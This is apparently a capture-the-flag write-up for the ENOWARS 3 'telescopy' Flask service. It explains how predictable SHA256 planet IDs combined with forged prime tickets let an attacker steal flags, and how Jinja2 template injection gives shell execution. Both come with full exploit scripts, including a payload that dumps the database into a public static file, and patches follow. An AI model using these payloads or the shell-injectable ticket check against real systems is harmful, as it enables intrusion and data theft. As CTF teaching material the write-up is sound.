Saarsec

saarsec

Schwenk and pwn

ENOWARS 3 WriteUp telescopy

Service Overview

Telescopy was a HTTP service written in Python which models an interface for storing information about planets. For every planet you could store the name, declination, right ascension and a flag. After registering you could see a list of all planets, add new planets or get planets.

content

On selecting a specific planet (sending a GET to /planet_details), you could retrieve its declination and right ascension. As already hinted by its name you could not retrieve the content of the Flag field this way, but of course there must also be a way for the gameserver to retrieve its flags.

content

When a new planet was added, the server answered the request with a generated planet–id. Knowing this id and passing it along with a ticket to the Get Planet function, you could retrieve all information (including the Flag field) about the planet where the id corresponds to. As one could already guess, the gameserver stored flags in the Flag field of the planets and used the previously mentioned Get Planet to check the availability of its flags.

Vulnerability 1: Generate Planet IDs

Now that our target is clear, lets take a look at how ids are generated and tickets validated. Upon calling Add Planet the following function was called:

def add_planet():
    try:
        name = request.args.get('name')
        dec = request.args.get('declination')
        ri = request.args.get('rightAscension')
        flag = request.args.get('flag')
    except:
        return "wrong arguments provided"

    if name is None or name == "" or dec is None or \
       dec == "" or ri is None or ri == "" or flag is None or flag == "":
        return "Please provide all planet information!"

    if len(name) > 30 or len(ri) > 15 or len(dec) > 15 or len(flag) > 200:
        return "value too long!"

    if Planet.query.filter_by(name=name).first():
        return "A planet with that name already exists!"

    p = Planet(name, dec, ri, flag)
    iding(p)
    db.session.add(p)
    db.session.commit()j
    return jsonify(p.to_dict())

def iding(i):
    e = i.name.encode('utf-8')
    d = i.declination.encode('utf-8')
    r = i.rightAscension.encode('utf-8')
    h = hashlib.sha256(e + d + r)
    i.planetId = h.hexdigest()

The interesting part happens inside of iding(p) as this is where our ids are generated and assigned. As there is no secret value used for the hash calculation, we can just calculate the ids ourself. Everything left now is to generate valid tickets. Upon calling Get Planet the following code will run:

def get_planet():
    idd = request.args.get('id')
    t = request.args.get('ticket')

    if t is None or not represent_int(t) or idd is None:
        return "provide a valid ticket and id!"

    s = check_ticket_validity(t)
    if s != 2:
        return "Invalid ticket! Try again :)"

    print("REDIS ticket t: {0} and get is: {1}", t, bool(redis.get(t)), flush=True)
    if bool(redis.get(t)):
        return "Ticket was used already!"

    redis.set(t, bytes(True))
    if idd is not None:
        ra = Planet.query.filter(Planet.planetId == idd).first()
        if ra is not None:
            return jsonify(Planet.query.filter(Planet.planetId == idd).first().to_dict())
        else:
            return "Planet not found!"

def check_ticket_validity(ticket):
    return planet.call("./ticketChecker " + ticket, shell=True)

Reversing the ticketChecker binary was straight forward. It takes a number as input, negates it and checks if the result is greater than 99.999.999 and prime. If this holds the check succeeds, hence we have found a valid ticket. Afterwards every ticket was stored in a Redis instance to make sure that no ticket is used twice.

Exploit for Vulnerability 1

Note that the code for the prime number generation is left out for better readability. It can be found here.

import requests 

exploit(target):
    sess = requests.Session()

    user = randomstring(10)
    pwd = randomstring(10)
    getparams = {
      'username': user,
      'password': pwd
    }

    data = {}
    req = sess.request('POST',target + '/register',
                       params=getparams,data = data, timeout=5)

    req = sess.request('POST',target + '/login',
                       params=getparams, data=data, timeout=5)

    # compile regex to parse names from planet list
    reg = re.compile(r"Name:(.*)<\/a>")
    # compile regex to parse planet information
    reg2 = re.compile(r"<label>(.*)</label>")

    # get all planet names
    req = sess.get(target + "/")
    planet_names = reg.findall(req.text)
    for i in planet_names:
        planet_name = i.strip()
        r = sess.get(target + "/planet_details", params={"name":planet_name})
        labels = reg2.findall(r.text)
        declination = labels[3]
        right_asc = labels[5]

        # generate planet id
        p_id = hashlib.sha256(planet_name + declination + right_asc).hexdigest()

        # 28 bit primes are large enough - credits to 
        # https://langui.sh/2009/03/07/generating-very-large-primes/
        big_prime = generateLargePrime(28)

        # we need to negate the prime
        ticket = "-" + str(big_prime)
        
        # retrieve planet information including flag
        r = sess.get(target + "/getPlanet", params={"ticket": ticket, "id": p_id})
        print(r.text)

Patch for Vulnerability 1

We just needed to make sure that the ids can not be calculated so we changed the iding function to append a secret value in the hash generation.

def iding(i):
    e = i.name.encode('utf-8')
    d = i.declination.encode('utf-8')
    r = i.rightAscension.encode('utf-8')
    secret = "TryToGuessMe".encode('utf-8')
    h = hashlib.sha256(e + d + r + secret)
    i.planetId = h.hexdigest()

Vulnerability 2: Template Injection

As previously mentioned, a GET request to /planet_details with the parameter name would give us some information about the planet matching the name parameter. The answer for this request was generated using Flask’s Jinja2 template engine. The vulnerability in here was that our given name parameter was directly written to the template string using Python’s %s formatter, hence the engine executed everything we specified. To test this we could use the following query:

/planet_details?name={{ [].__class__ }}  

which would result in the class of our specified object, hence <class 'list'>. As we wanted to gain arbitrary code execution out of this, we used the base classes of our list object (list and object) to list every subclass of the object class:

/planet_details?name={{ [].__class__.__mro__[1].__subclasses__() }}

On index 375 we found popen which allowed us to execute shell commands like this:

?name={{ [].__class__.__mro__[1].__subclasses__()[375]("touch /tmp/pwned",shell=true) }}

Exploit for Vulnerability 2

We used the remote code execution to steal the flags directly from the SQLite database file. As we had no direct access to the stdout of our executed code, we created a file in /static containing the flags.

import requests 

def exploit(target):

    sess = requests.Session()

    user = randomstring(10)
    pwd = randomstring(10)
    getparams = {
      'username': user,
      'password': pwd
    }

    data = {}
    req = sess.request('POST',target + '/register',
                       params=getparams, data=data, timeout=5)

    req = sess.request('POST',target + '/login',
                       params=getparams, data=data, timeout=5)

    # generate per team unique secret
    team_nonce = int(hashlib.md5(target).hexdigest(), 16) % 6335
    file_name = "759465%d689263.txt" % team_nonce

    # move database strings to static file
    payload = "chmod 777 /app/static && strings /app/planets.db | grep EN" \
            " | base64 > /app/static/%s" % file_name
    name = "p1{{%20[].__class__.__mro__[1].__subclasses__()[375](%27" \
            + urllib.quote(payload) + "%27,shell=True).communicate()%20}}"
    req = sess.get(target + "/planet_details?name=%s" % name)

    # retrieve flags from static file
    r = sess.get(target + "/static/" + file_name)
    print(base64.b64decode(r.text))

Patch for Vulnerability 2

To patch the vulnerability we replaced the %s formatter by a variable called namevar and gave the render function the input of the name parameter.

return render_template_string(template, planet=planeta, namevar=name)

Conclusion

The first exploit was quite stealthy in the traffic because it looked like gameserver connections, but the second exploit was really noisy as one could easily notice the template injection inside the traffic. As we guess due to the high amount of services, there were many teams which did not patch the vulnerabilities until the end of the competition. The service was quite surprising as there was a PE–file called TicketChecker.exe which was completely unused. Nevertheless we had fun working on this service.